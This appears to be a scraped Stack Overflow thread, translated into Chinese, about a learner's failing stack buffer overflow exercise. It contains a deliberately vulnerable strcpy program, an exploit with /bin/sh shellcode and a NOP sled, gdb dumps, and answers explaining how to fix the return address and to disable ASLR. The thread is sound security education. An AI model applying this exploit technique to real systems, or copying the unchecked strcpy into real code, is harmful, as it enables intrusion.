【问题标题】:Buffer overflow attack, shellcode isn't performed缓冲区溢出攻击,不执行shellcode
【发布时间】:2021-12-03 17:21:50
【问题描述】:

我正在学习道德黑客,所以我正在做简单的溢出堆栈攻击来覆盖保存的返回指针。这是我的易受攻击的程序(编译时没有金丝雀和 NX 保护,

-fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0

) 和程序,它创建缓冲区(NOP__SHELLCODE__RET)并调用易受攻击的程序。一切都很简单,但是不工作-_-。溢出工作正常,但未执行后的 shellcode,但易受攻击的程序中保存的返回指针位于 NOP 上。
易受攻击的程序(command.c):

void somefunc(char **argv){
    char buffer[30];
    strcpy(buffer, argv[1]);
}
int main(int argc, char **argv){
    if(argc==2)
        somefunc(argv); 
    else
        printf("There is no args"); 
    printf("__RET FROM MAIN OF COMMAND__");
}

利用(exploit.c):

//shellcode = /bin/sh
char shellcode[]={
"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"};
int main(int argc, char **argv) 
{
    unsigned int mem_i , ret, *ptr, offset=0; 
    if(argc < 2){
        printf("Usage: <exploit> offset\n"); 
        return 0;
    }
    offset = atoi(argv[1]); 
    const char *cc = "./command"; 
    char* buffer = (char*)malloc(200); 
    bzero(buffer, 200); 
    ret = (unsigned int)&mem_i + offset; 
    for(mem_i = 0; mem_i < 160; mem_i+=4) //writing data with RET(return address pointer)
        *((unsigned int *)(buffer+mem_i)) = ret;
    memset(buffer, 0x90, 100);//            NOP Sledding
    memcpy(buffer+100, shellcode, sizeof(shellcode)-1);//writing shelcode
    execl(cc, cc, buffer, NULL);//exec vulnerable programm
//  -----------------------------------------------------------------------------------------
//  |               NOP                     |       shellcode       |       RET             |
//  -----------------------------------------------------------------------------------------
}

正如我所注意到的,shellcode 执行 /bin/sh 所以有理由看看我最喜欢的 gdb 的说法;)

----> gdb exploit
...
/*breakpoint at "execl(cc, cc, buffer, NULL);", before it performed*/
(gdb) x/64xw buffer
0x5555555592a0: 0x90909090  0x90909090  0x90909090  0x90909090/*It is NOP*/
...
0x5555555592f0: 0x90909090  0x90909090  0x90909090  0x90909090
0x555555559300: 0x90909090 '0xfe58426a  0x529948c4  0x622fbf48/*SHELLCOdE*/
0x555555559310: 0x2f2f6e69  0x54576873  0xd089495e  0x0fd28949'
0x555555559320: 0xffffde05  0xffffde44  0xffffde44  0xffffde44/*return address pointer*/
0x555555559330: 0xffffde44  0xffffde44  0xffffde44  0xffffde44
(gdb) next
/*next we are goint in command, because code calling it(execl(cc, cc, buffer, NULL)*/
(gdb) disass main
...
0x00005555555551ef <+32>:   call   0x555555555169 <somefunc>
0x00005555555551f4 <+37>:   jmp    0x555555555207 <main+56>/*this address somefunc() 
will save as saved return pointer*/
...
(gdb) break somefunc
(gdb) cont
Breakpoint 3, somefunc (argv=0x7fffffffdee8) at command.c:8
8       strcpy(buffer, argv[1]);
(gdb) x/32xw $rsp
...
0x7fffffffddd0: 0xffffddf0  0x00007fff '0x555551f4  0x00005555'
/*it is saved return pointer, that we need to overwrite, 0x00005555555551f4)*/
...
(gdb) next
//have writed out buffer in stack
(gdb) x/64xw $rsp
...
0x7fffffffddd0: 0x90909090  0x90909090  '0x90909090 0x90909090'/*we have 
overwritten saved return pointer to NOP*/
0x7fffffffdde0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffddf0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffde00: 0x90909090  0x90909090  0x90909090  0x90909090
                            /*next is going shellcode*/
0x7fffffffde10: 0x90909090  '0xfe58426a 0x529948c4  0x622fbf48
0x7fffffffde20: 0x2f2f6e69  0x54576873  0xd089495e  0x0fd28949
0x7fffffffde30: 0xffffde05' 0xffffde44  0xffffde44  0xffffde44
0x7fffffffde40: 0xffffde44  0xffffde44  0xffffde44  0xffffde44

一切都应该工作,因为我们已经将保存的返回指针(0x00005555555551f4)覆盖到 NOP,但是没有执行 shellcode。 有什么问题?

【问题讨论】:

  • @Lundin 你错过了他试图做的练习的重点。
  • 地址0x0x7fffffffddd8 的值是返回地址,而不是返回码。你需要用你的 shellcode 的 address 覆盖它,而不是用代码本身。就目前而言,当程序执行ret 时,它会跳转到地址0x9090909090909090,这显然不是你想要的。
  • 你的for 行小心地用值ret 填充你的缓冲区,这显然是你想要的返回地址——然后在下一行你用nops 覆盖了整个事情。这没有意义。
  • *((unsigned int *)(buffer+mem_i)) = ret; 在 64 位系统上也是错误的 - unsigned int 只有 32 位,但地址是 64 位。如果您试图在 64 位程序中使用 32 位示例代码,那将无法正常工作;您需要在编译时使用 -m32 将其构建为 32 位程序。
  • @NateEldredge,年,我知道这些愚蠢的行,应该是 (for(mem_i=100+sizeof(shellcode)...)),但是我决定离开,以防万一.我不知道32位。感谢你。我应该使用 uint64

标签: c gdb buffer-overflow shellcode buffer-overrun


【解决方案1】:

返回指针应该指向你的 shell 代码或NOP sled,不一定是它的一部分。

因为你的溢出用NOP 指令覆盖了返回地址,所以你告诉受害者程序在函数完成后返回地址0x9090909090909090。但是,这不是您控制的内存地址,因此您的程序很可能只是 SEGFAULT

您应该改写返回指针,使其指向堆栈上的 NOP sled 中的某个位置在返回指针之后。在NOP 指令的末尾,你的shellcode 应该是谎言。

因此,您覆盖的返回指针应该是您现在控制的内存地址,而不是NOP 指令,例如0x7fffffffde10。现在程序会将指令指针设置为您的NOP sled,这将导致您的shellcode。

只是一个提示:您可能需要根据系统的字节序对地址进行反向编码。

如何修复您的漏洞利用代码

在开始覆盖返回指针之前,您基本上需要弄清楚需要在受害程序的缓冲区中放入多少字节。一旦弄清楚了,在你的NOP sled 的循环之前写另一个for 循环,用填充字节填充缓冲区(通常只使用字符'A'),然后将指向的地址放在@ 987654334@ sled,然后写你的NOP sled,然后是你的 shellcode。

补充阅读:https://resources.infosecinstitute.com/topic/return-oriented-programming-rop-attacks/

【讨论】:

  • 感谢您的回答。然而,地址变化与其他运行。所以,据我所知,我应该在永久内存中用shellcode编写我的NOP,例如,在linux的环境变量中,年份?
  • @Rainbow 那是因为地址空间布局随机化 (ASLR),它旨在使这类攻击更难执行。对于您的练习,我建议禁用此功能,以便您了解 ROP 的基础知识,然后继续学习如何绕过 ASLR。不幸的是,绕过 ASLR 超出了我目前的能力,但我知道这是可以做到的。请参阅askubuntu.com/a/318476 了解如何在 linux 中禁用此功能。
猜你喜欢
  • 2011-11-12
  • 2016-06-06
  • 1970-01-01
  • 2018-04-19
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2019-10-23
  • 2019-04-14
相关资源
最近更新 更多